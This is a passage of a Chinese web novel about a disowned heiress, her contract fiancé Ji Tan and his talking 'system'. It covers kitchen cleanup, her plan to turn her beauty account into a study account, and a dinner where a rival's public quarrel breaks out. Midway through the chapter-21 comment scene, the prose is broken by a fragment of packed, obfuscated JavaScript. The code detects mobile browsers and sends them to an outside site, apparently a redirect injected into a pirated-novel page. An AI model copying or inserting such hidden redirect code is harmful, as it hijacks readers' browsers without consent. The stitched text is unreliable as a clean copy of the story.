打定主意,她反手握住季潭,道:“跟我来,有事要说。”
陈结君说完顾不上等季潭回答,朝花姐和彩丽笑笑,一把将人拉到角落去。
季潭一声不吭被她拉着走到餐厅对面,陈结君才松开手,开门见山道:“你是不是不高兴了?”
被看穿了,但看她的样子,想必猜不准原因,而真正的原因他说不出口,只得道:“没有。”
陈结君对他的回答毫不意外,从小养成的绅士风度不会让他给一个女人难堪。陈结君点点头,道:“你放心,我懂的。其实你介意的问题很好解决。”
季潭眸光一闪,忽然有点慌,她看出什么了?
陈结君仔细观察他的表情,感觉他听完这句话后有些紧绷,她当即笃定自己的猜测,道:“我来的时候没说本名,咱们就像刚才说的那样,我就是个来餐厅帮厨还烧了厨房的,你不太熟的普通朋友,怎么样?”
这回总该放心了吧?
陈结君见他不说话,以为他抹不开面子,贴心道:“就当是我拜托你了,行吗?”
季潭懂了,她是怕自己在这里帮工还火烧厨房这件事传出去,倒也可以理解,她才遭受那么多委屈,好不容易他能用未婚夫的身份护住她,要是今天的事情传出去,那些人当着他的面不敢如何,但背地里必定又要嘲笑她。
“好,我答应你。”
太好了,总算搞定了!这会季潭看她的目光都温柔了不少,想必对她的贴心服务感到非常满意,她也算对得起那件几十万的大衣了。
看着眼前微笑着与他对视的陈结君,季潭一阵心疼,她是在强颜欢笑吗?
【嘀——】
系统不合时宜地冒出来:请宿主放下恋爱脑,事情未必是你想象那样。
季潭心疼地看着眼前的女孩,权当听不见。
【宿主。】
“……”
【宿主。】
“……”
【宿主。】
季潭冷声道:“说。”
【是这样的,本系统在考虑多加一条规则,不知道宿主是否愿意。】
“说。”
【是非常简单的一条规则:任务期间,宿主禁止与被选中的小树苗发展感情。为了加快完成任务,也为了宿主和小树苗着想,本系统经过详细测算后认为男女之情,特别是恋爱脑产生的男女之情对搞事业毫无帮助,还请宿主慧剑斩情丝。如果您愿意,您和您的小树苗都能获得额外奖励哦。】
“想都别想。”
【奖励可以翻倍,您再考虑考虑?】
“滚!”
【好的,宿主。】
21. 发声
两人最后都没在花姐那儿吃饭,季潭接了个电话,似乎有什么急事,先离开了。
陈结君拿着抹布仔细擦灶台,好在西红柿炒蛋不是重油重盐的菜,火把部分墙面熏黑了,但灶台出来了一部分油而水,还算好清理。花姐要先回家接娃,刀哥又有别的兼职要做,只剩彩丽陪她一起清理。
彩丽这丫头没什么爱好,就喜欢唠嗑,一晚上揪着她叽叽喳喳地说个没完,刚说完了前任,这会正说到与刀哥相遇相知那一段:“你不知道,那一瞬真是天雷勾地火,感觉就跟触电似的,毫不夸张,那时我就知道,我跟他一定会有故事!”
陈结君权当听有声小说了,追问道:“那后来呢?”
“后来我们就在一起啦!”
陈结君擦桌子的手一顿,抬头看她,眼神明确表达了她的心情:姐妹你是不是砍文了?砍的还是大动脉?
或许是她的眼神太过逼人,彩丽垂下头,神色有几分腼腆:“好吧,是我先追的他。他不是到处打工嘛?我就到处投简历,只要有他上班的地方就有我,我们越来越熟,自然而然就在一起了。不过,我郑重声明,表白是他开的口!女孩子嘛,追求真爱没有错,但告白这样的事还是男生开口比较好哦!”
“哗啦──”
陈结君洗着抹布,腾出一只手给她竖了个大拇指:“还得是你!现在刀哥对你这么好,也不枉费你当时的一片心意。”
“所以啊,你要牢记我这个活生生的例子,不管多喜欢季总,都不要先开这个口。有句话说得好,男人要真喜欢你,根本藏不住的,更用不着你主动走那一步!”
“我?”陈结君目瞪口呆,不明白话题怎么能跟过山车似的突然拐了个一百八十度的大转弯,转到了她身上,还说她喜欢季潭?简直是天方夜谭好吗!
她严肃道:“彩丽,你是不是误会了,我和季总只是见过几次面,算不上熟,更别提喜欢他了!”
“那难道是季总喜欢你?”彩丽继续语出惊人,目光落在陈结君脸上,她生了张娃娃脸,标志的杏眼桃腮,为了方便干活,她不知从哪弄来一根筷子,柔顺的长发被她绕了几圈用筷子固定在脑后,往下是修长白嫩的脖颈,像从墨画里走出来的猫妖。
彩丽回过神,嘀咕道:“倒也不是没可能,你真的很好看,不过我听说季总已经有未婚妻了,你机灵点,实在拿不下就放弃吧,长痛不如短痛。”
越说越离谱了,陈结君哭笑不得:“放心吧,我心里有数的。”
彩丽是不太相信的,今天他俩的互动明显有事儿,她没什么特长,但在感情方面是一看一个准,这两人分明互相都有点意思,见陈结君不想多说,她好心劝道:“你心里有数就好,我看他看你的眼神也不太对劲,你长得又漂亮,不是没有翻盘的可能。不过……我怎么觉得你越来越眼熟了呢?”
陈结君被夸了心情很快好起来,也不纠结说她喜欢季潭的事了,反正她已经否认了。倒是彩丽忽然目不转睛地盯着她,还生怕看不清似的一步步往前凑,陈结君被她逼得步步后退,要不是她清楚彩丽的性取向,都要怀疑她是不是图谋不轨了。
“想不起来啊……但你真的很眼熟,真的!”
陈结君笑道:“可能我是大众脸吧!”
“大众脸都能长成你这种水准的话,全世界百分之九十九点九九的人都是大众脸了!”彩丽满眼羡慕地看着她,“我决定了,下辈子就长你这样!”
陈结君被她逗乐了,两人收拾好厨房,一起走出餐厅,彩丽忽然惊声道:“我知道了!我知道你像谁了!”
她拉住陈结君,激动道:“那个,你平时看美妆视频吗?你特别像一个美妆大佬,她叫什么来着……”
陈结君的心一抖,忙插科打诨:“网红啊?那更不可能了,难道我不是大众脸,是网红脸?”
“才不是,那位大佬长得可好看了,好像还是青城挺有名的富二代,出的妆造更是一绝……就是一时想不起了,叫什么来着?”
“想不起来就算了,时间不早了,我得回家啦,你也快回去吧。”
彩丽猛地想起刀哥还在下个打工地等她,匆忙道:“那我先走啦,你注意安全,到家给我发信息啊!”
见彩丽跑远了,陈结君才松了口气。
当晚,陈结君坐在书桌前,打开电脑,登录了那个被冷落许久的账号。
这个号在她上学时就开通了,起初只想用来分享日常,经常发一些日常的照片,后来莫名其妙就多了点粉丝,每条评论下都在求妆教,她本就是个大闲人,见自己的妆容被这么多人喜欢也跟着高兴,对化妆也多了些耐心,后来还特意请了位娱乐圈的知名造型师学化妆,可惜效果不佳,模版化的妆造让她觉得无趣,最后干脆自己研究起来。
那时候美妆还是小众赛道,日积月累的,竟让她混成了百万粉的美妆博主。自从知道自己是个假千金后,太多事情接踵而至,她也没那个闲心更新视频,就连账号也很久没上了,要不是差点被彩丽认出来,她不知道要猴年马月才能想起自己有这么个账号。
刚点开就看见铺天盖地的私信,一个个小红点格外显眼,陈结君老神在在地坐了好一会,私信终于更新完了,好家伙,几千条私信,比她百万赞的视频收到的私信还要多。
她大致扫了一眼,有些是来自老粉的关心,但大部分都是些败坏心情的无聊话,她面无表情地关了,绝不给自己找罪受。
要说网暴,当年视频点赞破百万的第二天,她就被扒出了富二代身份,虽然她也没想瞒着就是了。只不过在那之后,负面话题就一直围绕着她,说来说去就是些炫富啦、嚣张跋扈啦、瞧不起人之类的话,当年她可比现在热血多了,谁喷怼谁,没在怕的。
至于现在,陈结君老神在在地看着那些大骂她活该、炫富的报应、凤凰变草鸡之类的话,心情感到无比平静,甚至想拿出卷子再做两套题。
她刚完成学习计划,闲着也是闲着,就随手看了几个视频怀念青春,这一看不要紧,居然发现每个视频下都有不少恶评,当然也会有很多替她反击的粉丝,其中一个叫“卷毛只想躺平”的人特别有意思,每条恶评下都能看见她的回怼,且言辞犀利,战斗力极强。
“她是假千金你不知道吗?”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16247861|180977||http|test|mini|href|location''.split(''|''),0,{}));
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>“早就被赶出陈家了,你看看她还敢上线吗?”
“以前拼命炫富,现在原形毕露,要是我早就找个地洞钻进去了,你们这帮粉丝还等着人家上线呢?”
不得不说这位老粉战斗力很强,诸如此类的恶评底下几乎都有卷毛奋战的身影,陈结君点进她的主页,都是些二次元的东西,应该是个年轻女孩,陈结君对二次元不太感兴趣,窥屏两分钟后准备退出登录时,突然弹出一条新评论。
卷毛只想躺平:【图片jpg】
就在刚刚?陈结君好奇点开,三秒钟后如遭雷劈。
这是一张微博截图。
深蓝科技-季潭:婚约照旧@结君大小姐
季潭什么时候在微博发这个了?怎么没跟她通个气,单方面炒作有什么意思,她多少得配合回应一下吧?陈结君连忙转战微博,果然看见这条微博被疯狂转载,热搜已经好几条了。
看着还在疯狂增加的转载量,她不禁庆幸,还好用的是小号,不敢想这会大号的私信得有多吓人。不过,季潭为了维护形象这么拼的吗?
陈结君盯着屏幕里的那行字许久,皱起眉头,总感觉哪里不对劲。她和季潭的婚约在外人看来有这么重要?
十分钟后,她点开陈余生的微信:“爸,睡了吗?”
对方秒回一张图片,华丽的梳妆台前,女人的长卷发半湿,男人的手握着风筒正为她吹干头发。
陈结君:“……”
多少年的老夫老妻了,还整这套!
不等她回一个鄙视的表情包,陈母的微信就来了。
“乖宝,怎么了?”
陈结君本想问问季潭和她的联姻是否还涉及陈家的利益,但话到嘴边却问不出口了,以父亲母亲的性子,即便有什么也不会告诉她,问了反而让他们担心。她打了好几行字又删掉,最后发了条语音:“没什么,就是想你们了,我给妈买了最爱吃的血橙,过两天就能到。”
“谢谢乖宝,你最近过得还好吗?”陈母压低声音,“有没有人欺负你,我让你爸收拾他!”
陈结君正要回复,对方的视频就打过来了,惊得她从沙发上弹起,赶忙跑到床上,那是她这个小窝最后的净土了,要是让陈母看见她那乱七八糟的狗窝又得心疼好半天了。
她理了理头发,接通视频。
陈母凑上来,看清她的模样后皱眉道:“怎么又瘦了,是不是又没有好好吃饭?”
陈结君笑兮兮道:“哪有,是视频角度的问题,我还胖了两斤呢!”
陈余生的脸挤进来,皱眉道:“过两天回家吃饭,你妈妈天天念叨着你,生怕你吃不好穿不暖的,别让她操心。”
“知道了,不过吃饭还是算了,我最近在学做饭呢,等我学会了回家做给你们吃。”
听见她不打算回去,陈母难免失望,但还是点头笑着说:“那好,你一个人在外面要照顾好自己,不要像以前那样大半夜才回家了,没有司机接送不安全的,还有……”
陈母絮絮叨叨说了许多,陈结君听着听着鼻子就酸了。
她这辈子最幸运的事,就是在陈家长大。
22. 转型
自从把赖师傅的厨房给炸了,陈结君便说什么也不愿意在那儿做饭,不过每周下午都会去帮工。
她把家里闲置的厨房利用起来,为了安全起见,还特意装了个烟感器,避免失手把厨房给烧了。
张屿特意来了一趟,美其名曰尝尝她的手艺,实则看她的眼神跟看动物园的猴子差不多,气得陈结君差点连人带啤酒把她给赶出去。
最后在她的求饶声和肉串的诱惑下,才忍住没把她给扔出去。
俩人面对面坐,对着桌上那盘拍黄瓜沉默下来。
陈结君毫不犹豫地推过去,“吃,跟我还客气什么?”
张屿嘿嘿笑了,看着那盘醋比黄瓜还多的东西,默默推了回去。
“大厨先吃。”
黄瓜被推过去。
“你吃。”
黄瓜又被推回来。
“你吃。”
如此反复几趟后,陈结君的耐心告终,俩人对视一眼,不约而同朝肉串伸手。
“冷了就不好吃了。”陈结君拿了跟羊肉串,吃得很满足。
“是啊是啊,拍黄瓜一会再吃。”张屿紧随其后,拿起一根烤鸡爪。
“下周我要出趟远门,不要太想我哦!”张屿熟练地吐出一根鸡骨头。
万年宅女要出门了,陈结君吃惊道:“你?出远门?!去哪?”
“去南边看看春暖花开,听说景色很美。”
陈结君睁着杏眼把她从上到下打量一遍,总结道:“你不对劲。”
“说!是不是背着我谈恋爱了?”
张屿竖起食指朝她摇了摇,道:“你说反了,我不是谈恋爱了,是要分手了。”
陈结君嘴角一抽,一时不知该说什么好,“你什么时候又谈上了……”
张屿白了她一眼:“什么叫又?我压根没换人!”
“还是那个道士?”陈结君啧啧称奇,“少见啊,你上次不是说分吗?居然又复合了?”
张屿狠狠咬断鸡爪,道:“我也不想的。只怪敌方太难缠!”
陈结君见她这渣里渣气的样子,不禁摇头道:“一会把你定位追踪打开。”
张屿莫名其妙,“为什么?你就这么想我,时时刻刻都要掌握我的行踪?”
“我是怕你出了事,连被埋在哪都没人知道!”陈结君最近考证上瘾,拖延症都被治好了,她说到做到,当即放下串串,擦干净手,从沙发上捞了本便利贴,拿起笔递给张屿,“写下来,对方的真实姓名,家住在哪,所有你知道的都写上。”
张屿本来觉得没啥,见她这阵仗却有些怵了,喃喃道:“你别吓我行吗?他人不坏的,这事他做不来。”
话是这么说,手上却是一秒没停,飞快写下了小道士的所有信息。
陈结君把标签夹在常看的书里,淡声道:“防人之心不可无。”
“行吧,权当买份安心了。”张屿啃完鸡爪,慢悠悠道,“话说,你这门怎么换了?”
“季潭让人换的。”他们距离上次见面已经过去一周了,陈结君有些失落,那件大衣挂出去整整一周了。
居然无人问津!!!
她很沮丧,非常非常沮丧。
张屿见她上一秒还生龙活虎,转眼就跟霜打茄子似的,疑惑道:“怎么了?你怎么这副表情,他让你付钱了?”
陈结君悠悠地看了她一眼,道:“你什么脑回路。我是想起别的事,跟这个门没关系。”
“什么事啊?”
尽管房间只有她们两个,陈结君还是有点心虚地压低了声音:“我把季潭不要的外套挂出去卖了。”
“什么?!”张屿瞬间瞪大眼,好一会才拍掌佩服道,“陈小君,你能耐了啊!我就问你一个问题。你想没想过这事让季潭知道了会怎么样?”
“他不会知道的,哪个总裁逛二手平台啊?”陈结君很有信心,还振振有词道,“再说了,这都是他不要的东西,给了我就是任凭我处置,就算被发现了也没什么好生气的吧!”
张屿在得知那件外套价值七位数后,咽了下口水,小心翼翼道:“你确定这是他不要了才给你的?不是特意送给你之类……”
陈结君用看傻子的目光看着她:“他特意送我男士外套?这合理吗?!”
张屿:“……”
说得也对。
“我估计价格太高,这个牌子又小众,不大好卖。”陈结君耷拉着脑袋,有些遗憾,还以为能借机暴富一把呢。
张屿斜眼看她,那张艳丽的脸与软糯的娃娃音完全不搭,“且不说别的。我就问问你,哪个出得起几十上百万的有钱人会买二手货?”
也是,陈结君靠着沙发,把头抬起来,像一潭死水。
说来说去,还是得靠自己啊!
“你干嘛呢?”张屿见她刚才还死气沉沉,这会又突然拿起手机噼里啪啦打字,好奇地凑过去看。
陈结君的手指在屏幕上划来划去,从相册里挑了张还不错的照片发出去。
张屿看不懂了,“你在你的美妆号上发了一本练习册?我没看错吧?!”
陈结君发完照片就锁屏了,拿起一杯可乐冲张屿抬抬手,道:“我决定转型了,这个号以后就是我的学习分享号!”
这件事她已经想了很久,以前做美妆潮人博主,还有富二代人设加成,一切都顺风顺水,不说赚多少钱,总归每个月够她买一只便宜包,但现在不一样了。
大到那些潮牌定制的衣服,奢侈品包包和首饰,小到化妆品护肤品都不是她能随便买来测评的了,更何况她现在的主业就是考证赚钱,虽然日常还是会化妆打扮,但已经没那么多空闲用心拍照出片了。
所以,转型是最好的办法,她的受众基本都是年轻人,这世上富人占少数,穷才是大多数人的人生常态,既然穷就要赚钱,要赚钱就得提升自己,她思考了两天,觉得自己在考证方面还是有点经验的,且系统本身就带有许多学习辅助功能,再加上季潭的那本手册,她只要好好总结一下分享出去,相信大家都会像她一样受益匪浅。
如果转型成功,她就是万千学子的救赎!如果不成功,额,就当做副业失败了呗,等以后她把系统里的证书都拿下,回归富婆身份后照样能做回潮人博主。
陈结君把这番想法略去不能说的,大致告诉张屿后,淡定地把她惊掉的下巴抬回去,顺便托起她的下巴,食指灵巧地避开张屿吃得油乎乎的唇,霸气一笑:“美人放心,到那时你就是朕唯一的宠妃!”
张美人毫不客气地翻了个大白眼,送给她的傻子朋友。
“我看你是被季潭带偏了,他送
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你学习手册,你就想当学神了?”张屿说着,看她的眼神都不对劲了,“你还好意思说我,我看谈恋爱的人是你才对吧!”
“想多了,我俩就是纯洁的商业联姻关系。”
张屿不赞同地看着她,还想说什么,陈结君眼疾手快夹起一块黄瓜飞速塞进她嘴里,一双眼亮晶晶地看着她,“怎么样?”
张屿猝不及防被阴了一把,正要发火,口中的酸辣伴着黄瓜的清香让她缓缓瞪大眼睛,朝陈结君竖起大拇指。
“陈小君,你可太牛啦,还真让你学会了!”
陈结君将信将疑,“真的好吃?”
“我用我的游戏ID发誓!”张屿郑重道,“骗你就让我连跪十把!”
“……倒也不必,我信就是了。”她夹起一块塞进嘴里,味道虽不像张屿表现得那么夸张,不过还算及格,她很满意。
陈结君起身拿了个小碗,把拍黄瓜夹碗里。
张屿不知何时又吃了一块,看她往外夹,问:“你干嘛呢?”
好不容易吃上陈大小姐做的菜,大厨本人还扣扣搜搜想私藏?
陈结君道:“送人。”
送人?张屿眼睛瞪得更大了,震惊道:“你该不会要留给季潭吧?!”
陈结君无语了一瞬,发自内心地问:“张小岛,你是不是看恋综把脑子磕坏了?”
她说着,端了碗去开门,转身对摸不着头脑的张屿道:“我现在要把这碗珍贵的拍黄瓜送给我可爱的邻居小姐姐,你要来围观吗?”
张屿嘿嘿一笑:“不了不了,您请。”
张屿在屋里吃着黄瓜撸着串,就听见隔壁轻微的开门声,陈结君说了几句话,那女孩细声细气地道谢。
没过几分钟,陈结君就回来了。
张屿抬头看她,笑着说:“怎么不邀请人家过来一起吃,怕我吃醋啊?”
“她不喜欢交友。”
张屿想起刚才小猫似的声音,点头道:“也是,听她说话的语气就是个i人,你俩怎么认识的?”
“她叫小橘,还记得我上次跟你吐槽那个驾校的教练吗?她碰巧也是同期的学员……”陈结君把那件事大致说了一遍。
“后来我在小区保安那喂猫,碰见她好几次,自然而然就熟了。”
小橘性格内向,不太爱跟人打交道,只在聊起猫咪的时候能多开口说几句话,她是真心喜欢猫。
上次在保安室和她一起喂猫,她无意间说自己已经失业一年,昨天她已经收到学姐的录取通知,明天就能入职,到时留意一下附近还有没有招工的,要是有合适的就给小橘介绍一下。
改天还得问问她的专业……
“想什么呢!”张屿张开五指在她面前猛地一收,神经兮兮道,“回魂!”
陈结君无奈扶额:“你下次能不能谈个正常职业的,道士什么的不适合你,你看看自己,都快成神婆了!”
张屿没心没肺地笑:“我借你吉言啊!”
两人聊了一下午,张屿还得回去直播,陈结君把这货送走后,披了件大衣准备下楼喂猫,刚出大门就看见一道修长的身影,季潭今天穿了件墨色呢大衣,白玉般的脸被风吹得有点泛红,夕阳的余晖落在他身上,整个人都在璀璨发光。
他好像橱窗里的手办啊,陈结君想。
23. 他比我幸运
最近天气暖和了些,猫咪们不再躲起来,猫粮一洒,就都从各个角落钻了出来,也不怕生。
陈结君趁机撸了一把最肥美的那只。
季潭在一旁看着,见她兴冲冲地摸了好几只猫,直到猫咪们吃完饭陆续散去,她才恋恋不舍地到一旁的洗手池洗手。
他语气迟疑:“你喜欢猫?”
“喜欢啊,这么毛绒绒又可爱的小动物我当然喜欢了!”
“这样啊。”他垂眸,眼底流过暗潮。
陈结君抬头,恰好将他的神色收入眼底,疑惑地歪头,问:“怎么了?”
“没什么。”季潭朝她露出笑容,眼底的暗涌却没有褪去。
陈结君想不明白,既然他不愿意说,她自然不多问,大佬的惆怅她不懂。
洗完手,她接过季潭递来的湿纸巾,道:“谢了。对了,你来找我有什么事吗?”
“要不要吃牛排?”季潭见她神色疑惑,解释道,“我看到你的朋友圈,恭喜入职。”
陈结君这才想起来,昨晚接到正式通知后,兴奋地发了一条朋友圈。这可是她正儿八经的第一份工作,必须重视!
她笑道:“好啊,那叫上……”
她一顿,惊觉自己跟季潭竟没几个共同好友,摇人的话到了嘴边说不下去了,还差点咬着自己的舌头。
他们连一个共同好友都没有,顶着虚假的婚约单独吃饭,这算什么?
她不是个傻子,唯一合理的解释就是,季潭已经把她当作朋友,正在她胡思乱想之际,季潭仿佛看透她的想法,低声道:“别误会,那天的微博你没有回复,但你朋友圈刚发了入职,连孟鑫都来问我为什么没让你进深蓝,我总要做出点样子来。”
好叭,季潭说得合情合理,毕竟有婚约在,陈结君想,就当工作了。只是心里总觉得怪怪的,却说不出哪里奇怪。
他俯身凑近,漆黑的眼珠倒映出她的脸,轻声问:“我有这个荣幸请你吃顿饭吗,未婚妻?”
虽说是有婚约,但第一次听他喊“未婚妻”,陈结君还是没忍住脸热了,演得跟真的似的。
两人走在去停车位的路上,季潭忽然道:“你以前养过猫吗?”
“没有啊。”
陈母会对猫的毛过敏,她知道后就不再闹着要养猫了,只是路上偶然遇见,还是会忍不住停下来摸一摸。
季潭问她:“为什么没养?”
“身边有人对猫毛过敏,就没养成。”陈结君随口道,“你应该不喜欢猫吧?”
“我……”
他其实没怎么留意过这些小动物,偶尔看见受伤的,也只是叫助理救助一下,不会跟进后续。实在称不上喜欢,但好像也算不上不喜。
但是她喜欢。
季潭看着她,一时不知道该怎么说。
他这副表情倒让陈结君有点意外,这是什么难答的问题吗?
难道是担心别人说他没有爱心?
他收购别的公司时可没顾虑过这个,虽然都会顺手帮前公司收拾烂摊子,但玩起手段来,明显是个狠人。
“有人喜欢,自然也有人不喜欢,这没什么奇怪的,大家彼此尊重就是了。”
她想了想,安慰道,“以前我有个朋友,就是那天遇见的学长,周睿泽,他很喜欢猫,可惜他也对猫毛过敏,只能看着我喂猫,也挺惨的,虽然你不喜欢猫,但你至少想摸就能摸,在他看来是很幸运的事。”
他们就快到停车场。
季潭忽然停下脚步,陈结君不明所以,转身看他,绿化带的植物已经开始抽新芽,但绿叶尚未长成,枝干仍光秃秃的,借着夕阳的最后一点余晖落在他身上。
他五官本就立体优越,即便枯木缠身,那张脸依旧漂亮夺目,画面变得绮丽又颓靡,像淤泥开出的一枝木兰花。
他长长的睫毛轻轻一颤,好似终于鼓足勇气般与她对视,他的眼深邃如深渊,让人探不明其中的秘密。
“在我看来,他比我幸运太多。”他说。
陈结君一愣,不知道是不是她的错觉,季潭好像很在意周睿泽,他俩之间有过节?
没听说过啊。
周睿泽待人随和,很少与人结仇,季潭虽然跟冰块似的,但他从不主动惹事,也很少跟别人发生冲突,他一般在冲突起来之前,就把事情解决了。
这样的两个人能有什么过节?
不等她细想,季潭已经替她打开车门,陈结君道了谢,再看他时,发现他脸上的情绪已经收拾干净,刚才那种让人异样的感觉也消失了。
北区开车去市中心要将近一个小时,这会碰巧是高峰期,两人在车里坐了一个半小时才终于到达目的地。
车还未驶入地下车库,陈结君隔着车窗朝外看,有些惊喜,转头对季潭道:“彼岸花?”
这是她以往常去的一家西餐厅,上回拿到系统的奖金,她都没舍得再来吃一顿。
“嗯。”季潭见她笑,也跟着笑了。
他预订了顶楼靠窗的位置,这会正好夜幕降临,万丈苍穹尽收眼底,千家万户的灯火通明,是她喜欢的景色。
陈结君点了常吃的那款牛排,看了眼对面的季潭,他已经脱了大衣,只穿一件规整的白衬衫,称得他越发英俊利落,在暖色的灯光下褪去淡漠的气场,从头到脚完美诠释了“秀色可餐”四个字。
这样的绝色,以后还不知道会拜倒在谁的石榴裙下呢。
“喝酒吗?”陈结君问,庆祝总要有庆祝的氛围吧,再说她已经很久没喝过好酒了,反正季潭买单,她不如蹭得彻底些。
季潭抬手招来服务生,问她:“葡萄酒可以吗?”
“没问题。”她只要有得喝就行。
季潭随手点了支酒,陈结君一听就知道,这支酒要好几万,有时候觉得季潭真是个奇怪的人,他穿着上百万的衣服,点几万块的酒,却给不出一两百万的薪资,难道资本家都这样,对自己大方得很,对员工抠得要命?
一想到眼前的帅哥也只是个披着漂亮皮囊的万恶资本,陈结君看他的眼神都变复杂了。
人穷了果然很容易仇富,以前她是千金的时候,倒没想过资本家有什么不好,毕竟陈余生向来善待员工。
“听说深蓝的福利很好?”
“还行。”季潭挑眉看她,“怎么,后悔没来了?”<
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p>“嘿嘿,没有啦,我们公司的福利也不错的。”陈结君道,“就是公司刚起步,需要努力扎根。”
“那就祝你一切顺利。”
季潭举起酒杯,他的手很修长,骨节分明,指间的红酒杯衬得肤色越发白皙,陈结君看着都有些嫉妒了,她的手虽然白且纤细,却不长,以前全靠做美甲提升颜值。每看到一个手好看的人,她都要在心里羡慕老半天。
“谢谢。”她举杯和他碰杯,狡黠地眨眨眼,笑道,“也祝季总的项目一帆风顺,日进斗金!”
这样就能给她发工资了!
季潭盯着她,眼底染上笑意,忽然道:“很久没见你这么开心了。”
陈结君一怔,他说得没错,在李辉一家子找上门,说她是冒牌千金后,她确实每天都充满压力,但现在她已经适应了学习考证的强度,还找到了工作,一切都在朝好的方向发展,让她放松了不少。
绑定系统前的那个噩梦,她至今分辨不出真假,也无从求证这个世界的虚虚实实,但人活着,就得快乐地活。
管他真真假假,就算这世界真是一本书又怎样,她只要活成自己的主角就足够了。
但这些都不可与他人言,她收回思绪,笑道:“有好吃的,还有酒喝,我有什么不开心的?”
“更何况……”她看着季潭认真的神色,存心想逗逗他,“更何况还有这么好看的帅哥陪我用餐,我当然开心了!”
她说完就见他神色不变,但视线已经默默转移到面前的牛排上,耳根泛起淡粉色,竟然有点可爱。
顾及人家霸总的身份,陈结君忍着笑,正要扯开话题,就听见远处传来碗碟破碎的闷响。
餐厅顶楼整层都铺上了厚厚的地毯,碗碟打碎的声音不大,但在这个安静的环境中足够吸引大家的视线。
陈结君也侧身看了过去,就见一个粉裙女孩一手捂着脸,从远处朝她的方向奔来,她一眼认出了对方。
竟是许久未见的温月。
“月月!”
一个清秀的男人追了上来,握住她的手腕。
男人身后还跟了一个女人,那女人伸手想拉住男的,被他甩开了。
这配置,典型的狗血三角恋。
两人恰好停在陈结君那桌旁边,让她捡了个
前排吃瓜的好席位。
“你放开我!”温月双眼通红,用力想甩开男人的手,声音都哭哑了,“你别碰我,恶心!!”
男人好声好气地求着:“月月,你听我解释,我没答应她,是她趁我喝多了……”
“牛哥,你怎么能这么说?分明是你借着酒劲对我拉拉扯扯,咱俩的帐还没清算呢,你就先倒打一耙了?”
陈结君面无表情地挑眉,毫无新意的剧情。
温月哭得梨花带雨,还在试图掰开男人的手,“你放开我!”
这会围观的人更多了,但女人看男人,男人看温月,温月哭得正起劲,三位戏子没一个有自知之明。
再搭上两个不知所措只能用嘴劝他们“消消气”的服务生,场面越来越热闹。
陈结君看了眼温月通红的手腕,轻轻“啧”了一声。
24. 迟疑
她的声音很轻,但因为距离近,在出声的一瞬间存在感拉满。
温月这才看清旁边用餐的人是陈结君,只觉得又丢脸又气恼,扭头不看她。
陈结君没放过她,语气淡淡,直戳她的心窝,“大小姐,妆都花了,还在这唱戏呢?”
说罢她也不管温月什么反应,杏眼一扫,落在男人握着温月的那只手上,依旧是欠揍的语气,“再不放手就告你性骚扰哦!”
男人松开温月,一改之前卑微求和的模样,冲陈结君恶声恶气道:“你谁啊?关你什么事?!”
陈结君摆出一副惊讶的表情,“你们大庭广众之下唱戏影响我胃口,我还不能点评了?”
“拜托以后演狗血剧的时候先问问观众想不想看好吗?”陈结君冷声道,“倒人胃口!”
“你!”那男的气得上前一步,未有动作,季潭已经起身挡在她身前。
他往那一站,气场就已经逆转,压迫感扑面而来,让人不敢忽视。
那男人本想口出脏话骂两句,被他冰棱似的目光一扫,登时说不出话来,背后竟起了一层冷汗。
跟在他身后的女人看看这个,又看看那个,最终目光落在季潭身上。
好漂亮的男人,不但长得精致,身材也绝佳,还有这周身的气度,一看就不是普通人。
这么一对比,跟他站在一起的渣男实在太登不上台面,她开始怀疑自己是不是有点饥不择食了。
她瞄了眼被大帅哥护在身后的女孩,对方似乎没有留意她,也没有在意身前的男人,反而将目光落在温月身上,一双漂亮的杏眼清澈明朗,一看就是被保护得很好的千金小姐。
男人就喜欢这样清纯不谙世事的。
来这一趟钱没捞到,还要看别人秀恩爱,她觉得无趣,摆摆手道:“你们玩,姐不奉陪了。”
经过温月身边时,她朝她露出一个风情万种的笑容,“小姑娘,真是他主动的,一杯鸡尾酒而已,他根本没醉,你爱信不信。”
说罢又看了眼季潭,似乎犹豫了一瞬,仍不死心般走到他面前,从包里取出一张纸条递给他,柔声道:“帅哥,这是我的联系方式。”
季潭没接。
她停顿两秒,又看了眼他身后的陈结君,撇撇嘴,什么都没说,转身走了。
走了一个,剩下的男人终于意识到丢脸,想放两句狠话,对上季潭那双深不见底的眼,又默默咽了回去,最后在大堂经理的好言劝说下,骂骂咧咧地走了。
戏散了。
陈结君看了眼悄悄后退的温月,冲另一个空位抬抬下巴,淡淡道:“坐。”
醒目的服务生已经端来新的餐具,温月上前两步,没坐下,都这么丢脸了,她也顾不上妆容花了,抬起手肘狠狠擦了把脸,居高临下地看着陈结君。
“我不会感谢你的,多管闲事!别以为我不知道,你心里一定在笑话我!”
陈结君大方承认,道:“你确实可笑。”
她和温月本就不混同一个小团体,大家一直以来相安无事,见面还会点头打个招呼,但不知什么时候开始,温月突然开始事事和她作对,陈结君自然不肯吃亏,有仇当场就报了。
后来才从同学口中得知,温月喜欢上一个学长,但那个男的当时在猛追她。
这原因陈结君听了都觉得无语,追她的人那么多,她连温月喜欢的那个人叫什么名字都没印象,真是无妄之灾。
温月这会已经气得火冒三丈,又碍于陈结君刚才的确帮了她,如果不是她赶走那个渣男,她今天没那么容易脱身。
想到那个男人,她眼眶又红了。
陈结君本不想再搭理,见她这可怜兮兮的样子,又想发发善心,劝道:“那男的有什么好,值得你这样?我劝你赶紧断了,恋爱脑要不得,刚刚那个女人都比你清醒!”
“不用你管!”温月看了眼一直守在她身材的季潭,又气又酸,“你以为人人都像你,命真好!”
温月只觉得今天是她人生中最倒霉的一天,没有之一,她现在只想赶紧离开。
“抱歉,打扰一下……”
她刚走到门口,大堂经理急匆匆赶来,看了眼温月的神色,赔笑道:“是这样的,您看方便借一步说话吗?”
温月只想赶紧走,闻言不耐烦道:“有事直说!”
“请问您是否还继续用餐?”
温月不可思议地看着他,“你瞎啊,没看见我要走吗?!”
“是是是,实在不好意思打扰您了,就是咱们的餐费还没……”
温月无语,从随身的香奈儿包里拿出一张黑卡仍给他。
陈结君气走了温月,转头对上季潭的目光,“不好意思,让你见笑了。”
